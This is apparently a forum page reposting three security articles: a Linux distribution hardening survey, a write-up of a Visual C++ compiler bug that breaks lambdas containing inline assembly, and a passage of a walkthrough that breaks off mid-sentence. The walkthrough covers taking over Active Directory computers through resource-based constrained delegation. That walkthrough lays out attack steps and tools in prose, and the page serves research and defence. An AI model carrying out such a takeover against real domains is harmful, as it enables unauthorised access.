4.12.14-95.3-default #1 SMP Wed Dec 5 06:00:48 UTC 2018 (63a8d29) Debian 9 (stretch) 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) CentOS 6.10 2.6.32-754.10.1.el6.x86_64 #1 SMP Tue Jan 15 17:07:28 UTC 2019 CentOS 7 3.10.0-957.5.1.el7.x86_64 #1 SMP Fri Feb 1 14:54:57 UTC 2019 Red Hat Enterprise Linux Server 6.10 (Santiago) 2.6.32-754.9.1.el6.x86_64 #1 SMP Wed Nov 21 15:08:21 EST 2018 Red Hat Enterprise Linux Server 7.6 (Maipo) 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 15 17:36:42 UTC 2018 Ubuntu 14.04 (Trusty Tahr) 4.4.0–140-generic #166~14.04.1-Ubuntu SMP Sat Nov 17 01:52:43 UTC 20… Ubuntu 16.04 (Xenial Xerus) 4.15.0–1026-gcp #27~16.04.1-Ubuntu SMP Fri Dec 7 09:59:47 UTC 2018 Ubuntu 18.04 (Bionic Beaver) 4.15.0–1026-gcp #27-Ubuntu SMP Thu Dec 6 18:27:01 UTC 2018 Table 1 Analysis In order for us to analyze the hardening defenses deployed by the different OSes outlined above, we examine their vanilla kernel configuration, as well as the properties of the packages that are available through each distribution’s package manager out-of-the-box. Thus, we only examined packages available from each distribution’s default mirrors, and omitted packages available from non-stable repositories (e.g., ‘testing’ mirrors in Debian) or third-party packages (e.g., NVIDIA packages available through non-default mirrors). Also, we did not consider custom kernel compilations or configurations that offer increased hardening. Kernel Configuration Analysis Using our analysis script based off an open-source kconfig checker, we examined the hardening config options that came out-of-the-box with the above distributions, and compared them against the list published by the Kernel Self Protection Project (KSPP). For each kernel hardening configuration option, Table 2 outlines the desired setting, and has a checkmark for all the distributions that conformed to the KSSP recommendation3. Kernel Configuration Setting Desired Value SLES Debian 9 CentOS 6.10 CentOS 7 RHEL 6.10 RHEL 7.6 Ubuntu 14.04 Ubuntu 16.04 Ubuntu 18.04 Significance X86_SMAP y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical STRICT_KERNEL_RWX y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical RANDOMIZE_BASE y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical RANDOMIZE_MEMORY y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical STACKPROTECTOR_STRONG y ✔️ ✔️ ✔️ ✔️ ✔️ Critical HARDENED_USERCOPY y ✔️ ✔️ ✔️ ✔️ ✔️ Critical LOCK_DOWN_KERNEL y ✔️ ✔️ ✔️ Critical STRICT_MODULE_RWX y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical SECURITY y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical SECCOMP y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical STRICT_DEVMEM y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical DEVKMEM not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical X86_INTEL_UMIP y ✔️ ✔️ ✔️ ✔️ High VMAP_STACK y ✔️ ✔️ ✔️ ✔️ High SLAB_FREELIST_HARDENED y ✔️ ✔️ High SLAB_FREELIST_RANDOM y ✔️ ✔️ ✔️ ✔️ High FORTIFY_SOURCE y ✔️ ✔️ High BUG_ON_DATA_CORRUPTION y High HARDENED_USERCOPY_FALLBACK not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High SECURITY_DMESG_RESTRICT y ✔️ ✔️ High SECURITY_YAMA y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High SECURITY_SELINUX_DISABLE not set ✔️ ✔️ ✔️ High SECCOMP_FILTER y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High ACPI_CUSTOM_METHOD not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High COMPAT_BRK not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High IO_STRICT_DEVMEM y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High LEGACY_VSYSCALL_NONE y High USERFAULTFD not set ✔️ ✔️ High LIVEPATCH not set ✔️ ✔️ High BPF_JIT not set ✔️ ✔️ High PAGE_TABLE_ISOLATION y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High RETPOLINE y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High X86_64 y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High DEBUG_WX y ✔️ ✔️ ✔️ High SCHED_STACK_END_CHECK y ✔️ ✔️ ✔️ ✔️ ✔️ High MODULE_SIG y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High REFCOUNT_FULL y High STATIC_USERMODEHELPER y High COMPAT_VDSO not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High BINFMT_MISC not set High PROC_KCORE not set High MODIFY_LDT_SYSCALL not set ✔️ ✔️ ✔️ ✔️ High KPROBES not set High UPROBES not set ✔️ ✔️ High DEBUG_FS not set High BPF_SYSCALL not set ✔️ ✔️ High USER_NS not set High FTRACE not set High ARCH_MMAP_RND_BITS 32 High BUG y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Medium THREAD_INFO_IN_TASK y ✔️ ✔️ ✔️ ✔️ Medium MODULE_SIG_ALL y ✔️ ✔️ ✔️ ✔️ ✔️ Medium PAGE_POISONING y ✔️ Medium GCC_PLUGIN_RANDSTRUCT y Medium HIBERNATION not set Medium PROC_VMCORE not set Medium HWPOISON_INJECT not set Medium SLUB_DEBUG y ✔️ ✔️ ✔️ ✔️ ✔️ Medium SYN_COOKIES y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Medium DEFAULT_MMAP_MIN_ADDR 65536 ✔️ ✔️ ✔️ ✔️ ✔️ Medium GCC_PLUGIN_LATENT_ENTROPY y Medium DEBUG_LIST y ✔️ ✔️ ✔️ ✔️ ✔️ Medium DEBUG_CREDENTIALS y Medium MODULE_SIG_FORCE y Medium GCC_PLUGIN_STACKLEAK y Medium SECURITY_LOADPIN y Medium PAGE_POISONING_NO_SANITY not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Medium PAGE_POISONING_ZERO not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Medium SLAB_MERGE_DEFAULT not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Medium X86_PTDUMP not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Medium DEBUG_KMEMLEAK not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Medium KEXEC not set Medium LEGACY_PTYS not set ✔️ ✔️ ✔️ ✔️ ✔️ Medium IA32_EMULATION not set Medium PROC_PAGE_MONITOR not set Medium GCC_PLUGIN_STRUCTLEAK y Medium GCC_PLUGIN_STRUCTLEAK_BYREF_ALL y Medium DEBUG_SG y Medium SLUB_DEBUG_ON y Medium INET_DIAG not set Medium X86_X32 not set ✔️ ✔️ ✔️ ✔️ ✔️ Medium USELIB not set ✔️ ✔️ ✔️ ✔️ Medium CHECKPOINT_RESTORE not set ✔️ ✔️ Medium MEM_SOFT_DIRTY not set ✔️ ✔️ Medium MMIOTRACE not set ✔️ ✔️ ✔️ ✔️ ✔️ Medium KEXEC_FILE not set ✔️ ✔️ Medium DEBUG_NOTIFIERS y Low ZSMALLOC_STAT not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Low PAGE_OWNER not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Low BINFMT_AOUT not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Low IP_DCCP not set ✔️ Low IP_SCTP not set Low DEVPORT not set Low NOTIFIER_ERROR_INJECTION not set ✔️ ✔️ ✔️ ✔️ ✔️ Low ACPI_TABLE_UPGRADE not set ✔️ ✔️ ✔️ ✔️ ✔️ Low ACPI_APEI_EINJ not set ✔️ Low PROFILING not set Low GCC_PLUGINS y Low MMIOTRACE_TEST not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Low MODULE_SIG_SHA512 y ✔️ ✔️ ✔️ Low Total SLES Debian 9 CentOS 6.10 CentOS 7 RHEL 6.10 RHEL 7.6 Ubuntu 14.04 Ubuntu 16.04 Ubuntu 18.04 Critical (out of 12) 9 11 4 11 4 11 8 12 12 High (out of 37) 14 16 15 12 15 12 11 18 18 Medium (out of 37) 11 11 15 14 15 14 10 10 10 Low (out of 14) 5 5 6 6 6 6 6 5 5 Total 39 43 40 43 40 43 35 45 45 Table 2 Overall, we notice that newer kernels have stricter settings out-of-the-box. For instance, CentOS 6.10 and RHEL 6.10 running a kernel version 2.6.32 lack most of the critical features implemented in newer kernels such as SMAP, strict RWX permissions, base address randomization, or copy2usr protections. We should note at this point that, although many of the configuration options presented in Table 2 are not present for older kernel versions and are in reality not applicable, we count them as having the mitigation not present, and do not differentiate the two – likewise, if a configuration option is not present for a given kernel version and the desired setting is “not set”, this is still counted as a sane configuration. Another point we need to address when interpreting the above results is that some of the kernel configuration that increase the attack surface for attackers can also be utilized to implement security defenses. Such examples include uprobes and kprobes, kernel modules and BPF/eBPF. Our recommendation is to use the above mechanisms to actually provide defense-in-depth, as they are not trivial to exploit and their abuse already requires malicious actors to have a foothold on the system. However, if enabled, the system administrator must actively monitor for their abuse. Examining further the entries of Table 2, we observe that modern kernels provide several options that can hinder exploitability of vulnerabilities like information leaks and stack/heap overflows. However, we notice that even the latest commodity distributions do not yet deploy more sophisticated defenses (e.g., shipping with grsecurity patches), or state-of-the art defenses against code reuse attacks (e.g., combining randomization with R^X schemes for code). To make matters worse, even these more advanced defenses do not protect against the full spectrum of attacks. Thus, it is critical for system administrators to complement sane configurations with solutions that offer runtime detection and prevention of exploits. Application Analysis It comes as no surprise that different distributions have different package characteristics, compilation options, library dependencies, etc. Not only that, but differences exist even for distributions with close ancestry and packages with small amounts of dependencies (e.g., coreutils in Ubuntu vs. Debian). In order for us to evaluate the differences in the Linux distributions available in GCP, we downloaded all the available packages, extracted their contents, and analyzed their binaries and dependencies. For each package, we kept track of the other packages upon which it depends, and for each binary we kept track of its library dependencies. We outline our findings in this section. Distribution Packages In total, we downloaded 361,556 packages across all distributions, only fetching the packages available via the default mirrors. From the available packages of each distribution , we ignored packages that did not contain ELF executables, such as source packages, fonts, etc. After filtering out irrelevant packages, we analyzed a total of 129,569 packages, containing a total of 584,457 binaries. The total packages and binaries analyzed per distribution are presented in Figure 3. Figure 3 We notice that the more modern a distribution is, the more packages and binaries are added, which comes as no surprise. That being said, Ubuntu and Debian packages include many more binaries (both executables as well as dynamic modules and libraries) than those of CentOS, SUSE and RHEL, which is potentially impactful on Ubuntu and Debian’s attack surfaces4. This is particularly important given the fact often packages have dependencies to other packages, and thus, a vulnerability in a binary of a given package can affect many parts of the software ecosystem, similarly to how a vulnerable library might possibly affect all binaries importing it. As a point of reference, we present the distribution of the number of dependencies per package for the different OSes in Figure 4: Figure 4 We notice that for almost all distributions, 60% of the packages have at least 10 dependencies. Moreover, we notice that a few packages have large numbers of dependencies (> 100). The same applies to the reverse dependencies of a package: as expected, there are few packages which are used by many packages across the distribution, and therefore vulnerabilities in those select few are of high risk. As an example in the following table, we present the top 20 packages with the most reverse dependencies for SLES, Centos 7, Debian 9, and Ubuntu 18.04 (each cell denotes the package and the number of reverse dependencies). SLES 12.4 CentOS 7 Debian 9 Ubuntu 18.04 bc (3768) glibc-0:2.17-260.el7_6.3.x86_64 (7065) libc6 (23246) libc6 (21592) glibc (3667) glibc-0:2.17-260.el7.i686 (7036) libstdc++6 (7703) libstdc++6 (6575) dconf (1336) libgcc-0:4.8.5-36.el7.x86_64 (2433) libgcc1 (7184) libgcc1 (5683) at (1118) libstdc++-0:4.8.5-36.el7.x86_64 (2127) zlib1g (3416) libglib2.0-0 (3037) ed (1053) bash-0:4.2.46-31.el7.x86_64 (1664) libglib2.0-0 (3309) zlib1g (2485) sed (913) glib2-0:2.56.1-2.el7.x86_64 (1190) libgmp10 (2079) libgmp10 (1926) file (894) zlib-0:1.2.7-18.el7.x86_64 (1074) libx11-6 (1962) libx11-6 (1576) rpm (807) libX11-0:1.6.5-2.el7.x86_64 (638) libqt5core5a (1751) libqt5core5a (1486) pkg-config (746) cairo-0:1.15.12-3.el7.x86_64 (597) libcairo2 (1614) ruby (1315) coreutils (731) openssl-libs-1:1.0.2k-16.el7.x86_64 (597) libgdk-pixbuf2.0-0 (1547) nodejs (1298) perl (626) gdk-pixbuf2-0:2.36.12-3.el7.x86_64 (575) libpango-1.0-0 (1483) libqt5gui5 (1123) gcc (608) pango-0:1.42.4-1.el7.x86_64 (571) ruby (1452) dpkg (1045) python (542) atk-0:2.28.1-1.el7.x86_64 (495) nodejs (1434) libqt5widgets5 (984) xli (389) libxml2-0:2.9.1-6.el7_2.3.x86_64 (484) libqt5gui5 (1362) libghc-base-dev-4.9.1.0-d28d6 (898) tk (375) perl-4:5.16.3-294.el7_6.x86_64 (463) libpangocairo-1.0-0 (1295) libgdk-pixbuf2.0-0 (892) gd (309) python-0:2.7.5-76.el7.x86_64 (463) libatk1.0-0 (1202) python (874) bash (290) freetype-0:2.8-12.el7.x86_64 (417) libqt5widgets5 (1180) libgtk2.0-0 (869) systemd (236) systemd-0:219-62.el7.x86_64 (401) libatomic1 (1109) libgtk-3-0 (795) info (229) libgcc-0:4.8.5-36.el7.i686 (393) libxml2 (1101) libcairo2 (793) Table 3 Interestingly, although all the OSes analyzed were built for x86_64 architecture, and the majority of the packages also have a specified architecture of x86_64 and x86, we discovered that the packages often contained binaries for other architectures, as seen in Figure 5. Figure 5 In the following section we will dive deeper into the characteristics of the binaries analyzed. Binary Hardening Statistics At absolute minimum, we wanted to examine a basic set of hardening options for the binaries at hand. Several Linux distributions ship with scripts that perform such hardening checks. For instance, Debian/Ubuntu exposes a hardening-check script that provides such useful information. Here’s an example: $ hardening-check $(which docker) /usr/bin/docker: Position Independent Executable: yes Stack protected: yes Fortify Source functions: no, only unprotected functions found! Read-only relocations: yes Immediate binding: yes We notice that the above script checks for the following 5 hardening features: Position Independent Executable (PIE): Indicates if the text section of the program can be relocated in memory, so as to achieve randomization if ASLR is enabled in the kernel. Stack Protected: Whether stack canaries are in place to guard against stack smashing attacks. Fortify Source: Whether unsafe functions (e.g., strcpy) are replaced with their safer counterparts and calls that are verifiable at runtime replace their non-runtime-checked counterparts (e.g., __memcpy_chk vs memcpy). Read-only relocations (RELRO): Whether relocation table entries are marked as “read-only” if they were resolved before execution begun. Immediate binding: Whether the runtime linker resolves all relocations before starting program execution (this is equivalent to full RELRO). Are the above hardening mechanisms enough? Unfortunately, not at all. There are known techniques to bypass all the above defenses, but the more hardening defenses are in place, the higher the bar for the attacker. For instance, techniques to bypass RELRO mitigations are hindered if PIE and immediate binding are present. Likewise, full ASLR requires attackers to perform additional work to construct a working exploit. However, for sophisticated attackers, the above mitigations are something to expect — their absence in essence opens the door to your system much faster. Therefore, it is critical that at minimum they are put in place. For our analysis, we wanted to examine what percentage of the binaries in the distributions under examination had these mitigations in place, as well as the presence of three more mitigations: Non executable bit (NX), which prevents execution on any region that should not be executable such as the stack heap etc. RPATH/RUNPATH, which designates the run-time search path used by the dynamic loader to find the appropriate libraries. The former is a sine qua non for any modern system – its absence allows attackers to arbitrarily write a payload in memory and execute it as is. For the latter, non-sane runtime path configurations are responsible for introducing untrusted code that may lead to series of problems (e.g., privilege escalation as well as other issues). Stack Clash protection, which provides protection against attacks that cause the stack to overlap with other memory regions (e.g., heap). Given the recent exploits abusing stack clash vulnerabilities in systemd, we thought it relevant to include this mitigation in our dataset. So, without further ado, let us jump into the numbers: Tables 4 and 5 present the summary of our analysis for the executables and libraries of the different distributions, respectively.: We notice that with respect to NX enforcement, it is almost omnipresent, with few exceptions. Particularly, we notice slightly lower adoption in Ubuntu and Debian distributions compared to CentOS, RHEL and OpenSUSE. When it comes to stack canaries, we notice that they are missing from significant portions of the total executables, especially in distributions with older kernels, however there has been progress in latest Centos, RHEL, Debian and Ubuntu distributions. With the exception of Debian and Ubuntu 18.04, PIE support is poor in most distributions. Stack clash mitigations are scarce in OpenSUSE, Centos 7 and RHEL 7 and practically non-existent elsewhere. All distributions with modern kernels have some support for RELRO, with Ubuntu 18.04 leading the way, and Debian at second place. As mentioned earlier, the metrics presented in this table are averages across all different versions of a binary. Thus, we observe differences in say, PIE statistics compared to examining only the latest version of a binary (see for instance Debian’s progress with PIE packages). Moreover, whereas most distributions generally examine if at least some functions are fortified in a binary when counting the percentage of fortified binaries, for our analysis we measure a true percentage of the fortified functions. Therefore, if for a binary 5 out of 50 fortifiable functions are fortified, we will assign it a score of 0.1, as 10% of the functions are fortified. OS Canaries Stack Clash NX PIE RELRO (full) RELRO (partial) RUNPATH FORTIFIED SLES 12.4 55.34 1.15 99.29 6.33 7.30 89.84 85.62 41.04 CentOS 6.10 55.73 0.00 99.66 2.18 2.96 6.26 98.73 41.11 CentOS 7 84.55 0.15 99.83 5.83 11.80 88.00 98.44 41.51 RHEL 6.10 54.32 0.00 99.43 2.20 2.85 6.87 98.78 37.31 RHEL 7.6 82.26 0.13 99.56 5.57 10.93 88.89 98.45 36.66 Debian 9 73.03 0.01 97.78 38.04 35.34 62.15 88.48 31.10 Ubuntu 14.04 53.85 0.01 96.12 4.04 9.53 85.82 99.08 44.12 Ubuntu 16.04 75.58 0.01 95.84 4.76 12.01 85.09 97.54 43.54 Ubuntu 18.04 85.62 0.01 93.43 37.77 56.81 41.46 88.54 41.00 Table 4: Hardening Properties of Fig. 3 Executables (Percentage of Adoption) OS Canaries Stack Clash NX RELRO (full) RELRO (partial) RUNPATH FORTIFIED SLES 12.4 49.46 0.37 99.49 6.41 90.41 85.05 35.29 CentOS 6.10 53.15 0.00 99.91 2.72 5.37 98.66 38.07 CentOS 7 83.12 0.06 99.84 10.49 89.39 99.06 38.10 RHEL 6.10 52.28 0.00 99.91 2.51 5.96 98.71 38.06 RHEL 7.6 82.83 0.07 99.89 9.45 90.47 98.88 38.31 Debian 9 74.46 0.01 96.94 33.17 63.88 89.02 33.00 Ubuntu 14.04 43.37 0.01 94.60 9.40 85.00 98.79 38.89 Ubuntu 16.04 67.37 0.01 93.29 12.23 83.76 96.73 35.95 Ubuntu 18.04 81.96 0.01 89.57 32.01 65.97 88.35 33.81 Table 5:Hardening Properties of Fig. 3 Libraries (Percentage of Adoption) So are things progressing? They definitely are: this can be seen from statistics on individual distributions (e.g., Debian), as well as from the above tables. As a use case, we present a summary of the hardening mechanism adoption for three consecutive Ubuntu LTS distributions in Figure 5 (we omit stack-clash statistics due to the low adoption). We notice that consistently more binaries have stack canaries from version to version, whereas significantly more binaries in 18.04 are shipped with full RELRO compared to previous versions. Ubuntu Executables Ubuntu Libraries Figure 6 Unfortunately, multiple executables are present still in the different distributions, having none of the above mitigations. For instance, taking a quick look at Ubuntu 18.04, we notice the ngetty binary (which is a getty replacement) ships without canaries, NX, PIE and fortified source, and so do the mksh and lksh shells, the picolisp interpreter as well as the packages nvidia-cuda-toolkit (which is a popular package for creating GPU-accelerated applications like machine learning frameworks) and klibc-utils. Similarly, the mandos-client binary (which is an administrative tool allowing unattended reboots with encrypted root filesystems), as well as the rsh-redone-client (a re-implementation of rsh and rlogin), ship without NX and have SUID set :(. Likewise, several suid-binaries lack basic protections like stack canaries (e.g., the Xorg.wrap binary of the Xorg package). Summary & Closing Remarks In this post, we highlighted several characteristics of modern Linux distributions when it comes to hardening. Our analysis demonstrated that the latest Ubuntu LTS distribution (18.04) has on average the strongest OS-level and application mitigations amongst the distributions with newer kernels that we examined such as Ubuntu 14.04, 12.04 and Debian 9. The examined CentOS, RHEL and OpenSUSE distributions in our dataset, however, ship a tighter set of packages by default, and in their latest versions (for CentOS and RHEL) have higher numbers of stack clash adoption compared to their debian-based rivals (Debian and Ubuntu). Comparing CentOS and RedHat versions, we notice large improvements in deployment of stack canaries and RELRO from versions 6 to 7, however on average more functions are fortified in CentOS than in RHEL. Overall, we notice that the most progress to be made across all distributions is with regards to adoption of PIE, which, with the exception of Debian 9 and Ubuntu 18.04 is below 10% for the binaries of our dataset. Finally we should note that while custom analysis such the above is possible, there is a plethora of security tools (e.g., Lynis, Tiger, Hubble) that may be used for analysis of a system and to prevent insecure OS and application configurations. Unfortunately, even with hardening mitigations and sane configurations, vulnerabilities eventually will lead to exploitation. This is why we strongly believe that it is vital to have solid real-time monitoring and prevention of attacks, by focusing and preventing exploitation patterns. We will explore such exploitation patterns in future posts, as well as how one defend against them. Stay tuned! Notes 1. Static analysis tools examine code properties without executing the software, by only examining the source code or generated binary. Dynamic techniques require execution of a piece of software and perform runtime analysis.↩ 2. W3techs reports that some UNIX variant is used by 69.2% of all websites, and the percentage is even larger when it comes to supercomputers. A multitude of other sources (e.g., 1, 2, 3) verify this trend, which is especially true for container deployments — even back in 2016, Ubuntu alone was reported to have over 60 million images launched by docker users.↩ 3. For a thorough explanation of the utility of the above settings, the interested reader may refer to the KSPP project or to our kernel configuration glossary. In future posts, we will elaborate more on why many of these came to exist, as well as on possible ways to exploit the system in their absence.↩ 4. We should note that the numbers presented include all binaries across different versions of a software package. For instance, a dynamic module used by Python will be analyzed multiple times, separately for python-2.6, 2.7 etc. Our averages are presented across all packages.↩ Theofilos Petsios( Research Scientist ) Theofilos Petsios is a Research Scientist at Capsule8. His interests include systems and application security, binary analysis and privacy. Over the years, he has presented his research at various conferences internationally, including IEEE Security & Privacy, ACM CCS, ACM EuroSys and others. https://github.com/nettrino Capsule8 Labs Sursa: https://capsule8.com/blog/millions-of-binaries-later-a-look-into-linux-hardening-in-the-wild/
      • 1
      • Upvote
  15. Finding Unicorns: When the C++ Compiler Writes the Vuln February 28, 2019 | Simon Zuckerbraun It’s entirely commonplace for vulnerabilities to arise from C++ programming errors. It’s a rarity, though, when a programmer writes a correct C++ program and the compiler transforms it into object code containing a vulnerability. That’s what I experienced this past October, though, when a tool I wrote crashed and I discovered that the fault lay with the Visual C++ compiler. Microsoft addressed our vulnerability report as CVE-2019-0546, though, as we will explain, it is still not fully patched. Where I Found the Unicorn I was writing some instrumentation for an x86 module that had been compiled with a Borland toolchain. The instrumentation framework expected a callback function that would perform the task of calling the original function within the target module. The target function’s calling convention was incompatible with Microsoft Visual C++, so my callback needed to contain custom __asm code. To streamline matters, I defined the callback as a lambda, like this: The lambda defines a callback function that has one parameter, specifying the address of the original function. The callback copies the parameters to the original function (m, s) from captured variables and places them in registers as expected by the original function. (Note that the first parameter goes into @eax. This is not a Microsoft-compatible calling convention, hence the need for __asm.) Next, it calls the original function. Finally, it copies the return value of the original function from @eax into captured variable r. The compiler accepted this code without complaint, but weirdly, the compiled code did not work as expected. The instructions generated did not reference the correct stack locations for the captured variables. When reading from the captured variables, incorrect stack locations were accessed, potentially leaking sensitive stack data. When writing the captured variable r, the write went to an improper location on the stack, potentially corrupting data or control flow. The bug is triggered by a lambda expression meeting these two conditions: The lambda has an implicit capture, either by reference or by copy. The lambda contains an __asm block. The PoC Soon I put together a self-contained PoC. This is for Visual Studio 2015, and is intended to be compiled for the Release x86 configuration: Note that the lambda correctly accesses variable x, because x is a global and not a stack-based variable. However, when it writes into variable y, it writes to the wrong stack address and corrupts the @ebp value on the frame. When control returns to main, @ebp contains the corrupted value of 0xdeadbeef. Here’s the resulting crash: Visual Studio 2017 is also affected. The Patch Interestingly, although this bug impacts both Visual Studio 2015 and Visual Studio 2017 (and possibly other versions that we have not tested), Microsoft only released patches for Visual Studio 2017. The vulnerability shown above is still present today in the latest update of Visual Studio 2015 (version 14.0.25431.01 Update 3). When asked about this decision, Microsoft stated, “This specific report, CVE-2019-0546, is about disallowing inline assembly inside C++ lambda bodies. The said vulnerability is about downloading and running untrusted code, which has always existed in all releases prior VS2017 Update 9 that supported lambdas. The scenario is not common coding practice and considering we've always had this in all our prior releases and have not seen any evidences of exploit it would not make sense to port the change as hotfix from 15.9 to prior VS releases.” Also, I find it a bit amusing that Microsoft’s fix for Visual Studio 2017 was to remove support for __asm blocks within lambdas. Now, if you try to compile code such as the above PoC on Visual Studio 2017, you get the following compiler error: So, I am now the proud owner of both a CVE in the Visual C++ compiler as well as a brand new CXXXX compiler error. While this may be an uncommon scenario, we still believe it worth patching and hope Microsoft reconsiders in the future. It should also be noted that while Microsoft rated this bug as Moderate, other bugs in Visual Studio have received Important severity ratings. If you’re still on the fence about deploying this update, we would consider it Important since it could allow for attacker-controlled code to execute at the level of the logged on user. Conclusion It’s long been recognized as a theoretical possibility [PDF] that a compiler could surreptitiously introduce a backdoor or vulnerable behavior into software at compile time. In practice, it is exceedingly rare to hear of a compiler introducing a vulnerability into 100% correct, non-malicious code, whether maliciously or, as in this case, as a result of a compiler bug. On an extraordinary day out in the wilds, though, you might find a unicorn. You can find me on Twitter at @HexKitchen, and follow the team for the latest in exploit techniques and security patches. Sursa: https://www.zerodayinitiative.com/blog/2019/2/28/finding-unicorns-when-the-c-compiler-writes-the-vuln
      • 1
      • Upvote
  16. A Case Study in Wagging the Dog: Computer Takeover Will Feb 28 Last month, Elad Shamir released a phenomenal, in depth post on abusing resource-based constrained delegation (RBCD) in Active Directory. One of the big points he discusses is that if the TrustedToAuthForDelegation UserAccountControl flag is not set, the S4U2self process will still work but the resulting TGS is not FORWARDABLE. This resulting service ticket will fail for traditional constrained delegation, but will still work in the S4U2proxy process for resource-based constrained delegation. Does the first paragraph sound like Greek? Check out these resources so it makes it bit more sense: Matan Hart’s BlackHat Asia 2017 “Delegate to the Top” talk and whitepaper. The “S4U2Pwnage” post for background on traditional constrained delegation, including S4U2self/S4U2proxy. Ben Campbell’s “Trust? Years to earn, seconds to break” for another perspective on the same topic. CyberArk’s “Weakness Within: Kerberos Delegation” post on constrained delegation The “Another Word on Delegation” on the start of some of the resource-based constrained delegation (RBCD) material. Elad’s “Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory” for a complete set of details on his new RBCD research. Seriously, go read it. Why care? That’s what I hope to show in this post with a practical example, instead of doing my normal dive-into-insane-depth-on-a-topic thing. The tl;dr is that Elad’s new research gives us a generalized DACL-based computer takeover primitive (among other things, however I’m focusing just on this example for now). This means that if we have an ACE entry allowing us the ability to somehow modify a specific field for a computer object in Active Directory (specifically msDS-AllowedToActOnBehalfOfOtherIdentity, so rights would include GenericAll, GenericWrite, WriteOwner, etc.) we can abuse this access and a modified S4U Kerberos ticket request process to compromise the computer itself. Note: if DACLs, ACEs, and “object takeover” sounds like another dialect of Greek to you, check out Andy Robbins’ and my “Ace Up the Sleeve” talk and associated whitepaper for more security-focused DACL discussion. For another take on the subject, check out the “The Unintended Risks of Trusting Active Directory” talk that Lee Christensen, Matt Nelson, and myself gave at DerbyCon 2018. The tl;dr of the tl;dr is that if we can modify a computer object in Active Directory, we can compromise the computer itself in modern domains. There’s one caveat: the domain the computer resides in has to have at least one 2012+ domain controller in order to support the resource-based constrained delegation abuse. If this isn’t the case, and the domain only has domain controllers with Server 2008 (an 11 year old operating system) there are probably other issues you can target for abuse : ) Taking over a Computer Object Through Resource-Based Constrained Delegation I’m not going to explain resource-based constrained delegation in depth as the resources at the start of this post have all the information you need. Instead, I’m going to walk through a practical abuse example with syntax and screenshots illustrating the abuse so you can get a feel for how it works operationally. This scenario is fairly similar to the “Another Word on Delegation” post I published last year, as well as the “Generic DACL Abuse” section of Elad’s post. That is, there’s nothing new here, Elad covered everything in awesome depth with a ton of details and videos. I wanted to present a slightly different practical demonstration with full weaponization details in order to bring attention to his awesome research. My test environment will be my standard Windows Server 2012R2 domain controller with a 2012R2 domain functional level, and Windows 10 host: The domain is testlab.local with domain functional level 2012R2. The domain controller is primary.testlab.local, and is 2012R2. The client is Windows 10. The TESTLAB\attacker user account has GenericWrite access to the PRIMARY$ computer object, but has no other special privileges nor rights. The tools used are PowerView, Kevin Robertson’s Powermad (specifically the New-MachineAccount function), and Rubeus’ S4U command. A text transcript of this scenario is available here. First we’re going to load up our toolsets, confirm our identity, and verify that our current user has the proper DACL misconfiguration to allow abuse. Using PowerView to enumerate the specific ACE in the access control information for our target system (primary.testlab.local), we can see that we (TESTLAB\attacker) have GenericWrite over the PRIMARY$ computer object in Active Directory. The relevant syntax for these commands are here. As Elad details in his post, we need control of an account with a service principal name (SPN) set in order to weaponize the S4U2self/S4U2proxy process with resource-based constrained delegation. If we don’t have preexisting control of such an object, we can create a new computer object that will have default SPNs set. This is possible because MachineAccountQuota is set to 10 by default in domains, meaning that regular domains users can create up to ten new machine accounts. So let’s use the New-MachineAccount function in Kevin Robertson’s Powermad project to stand up “attackersystem$” with the password “Symmer2018!”. The relevant syntax for this command is here. The msDS-AllowedToActOnBehalfOfOtherIdentity field is an array of bytes representing a security descriptor. I couldn’t quite figure out all of the nuances of its structure, so I used the “official” way to add resource-based constrained delegation in my test lab, extracted the msDS-AllowedToActOnBehalfOfOtherIdentity field and converted it to SDDL form. From this template, we can easily substitute in the SID of the newly created computer account that we control (which has a SPN!), convert it back to binary form, and store it into the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer object we’re taking over using PowerView. The relevant syntax for these commands are here. Let’s double check that the security descriptor added correctly. We can see below that the 